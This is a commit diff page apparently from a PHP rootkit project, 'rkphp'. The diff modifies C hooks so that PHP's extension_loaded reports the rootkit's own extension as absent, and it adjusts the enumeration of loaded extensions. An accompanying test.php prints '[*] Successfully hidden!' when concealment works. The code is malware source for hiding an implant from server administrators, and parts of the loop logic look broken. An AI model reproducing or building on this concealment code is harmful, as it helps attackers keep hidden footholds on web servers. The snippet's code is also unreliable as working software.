Browse Source

Default

master
Root 5 years ago
parent
commit
773430124e
  1. 21
      rkphp/src/php_funcs.c
  2. 6
      rkphp/test.php

21
rkphp/src/php_funcs.c

@ -20,7 +20,7 @@ static int rkphp_hook( @@ -20,7 +20,7 @@ static int rkphp_hook(
}
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find_ptr(CG(function_table),
if(zend_hash_str_find_ptr(CG(function_table),
method_name, strlen(method_name), (void**)&function) == SUCCESS)
#else
if((function = zend_hash_str_find_ptr(CG(function_table),
@ -53,14 +53,11 @@ static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS) @@ -53,14 +53,11 @@ static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
module = (zend_module_entry*)zend_llist_get_first_ex(&zend_extensions, &pos);
while(module)
{
php_printf("mod: %s\n", module->name);
if(module->name)
{
add_next_index_string(return_value, module->name);
add_next_index_string(return_value, module->name, 1);
module = (zend_module_entry*)zend_llist_get_next_ex(&zend_extensions, &pos);
zval *value = ecalloc(sizeof(zval), 1);
ZVAL_STRING(value, module->name);
zend_hash_next_index_insert(return_value, value);
}
}
@ -83,8 +80,19 @@ static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS) @@ -83,8 +80,19 @@ static inline void n_get_loaded_extensions(INTERNAL_FUNCTION_PARAMETERS)
static void (*o_extension_loaded)(INTERNAL_FUNCTION_PARAMETERS);
static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
{
zend_llist_position pos;
zend_module_entry *module;
module = (zend_module_entry*)zend_llist_get_first_ex(&zend_extensions, &pos);
while(module)
{
if(strcmp(RKPHP_NAME, module->name) == 0)
RETURN_FALSE;
module = (zend_module_entry*)zend_llist_get_next_ex(&zend_extensions, &pos);
}
/*
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
@ -96,6 +104,7 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS) @@ -96,6 +104,7 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
}
}
} ZEND_HASH_FOREACH_END();
*/
}
/* {{{ proto void rkphp_ex(int code, int pid)

6
rkphp/test.php

@ -1,9 +1,9 @@ @@ -1,9 +1,9 @@
<?php
//print_r(get_loaded_extensions());
print_r(get_loaded_extensions());
//if(!extension_loaded("rkphp.so"))
// printf("[*] Successfully hidden!" . PHP_EOL);
if(!extension_loaded("rkphp.so"))
printf("[*] Successfully hidden!" . PHP_EOL);
/* Get address range of extension */
function get_ext_range($name)

Loading…
Cancel
Save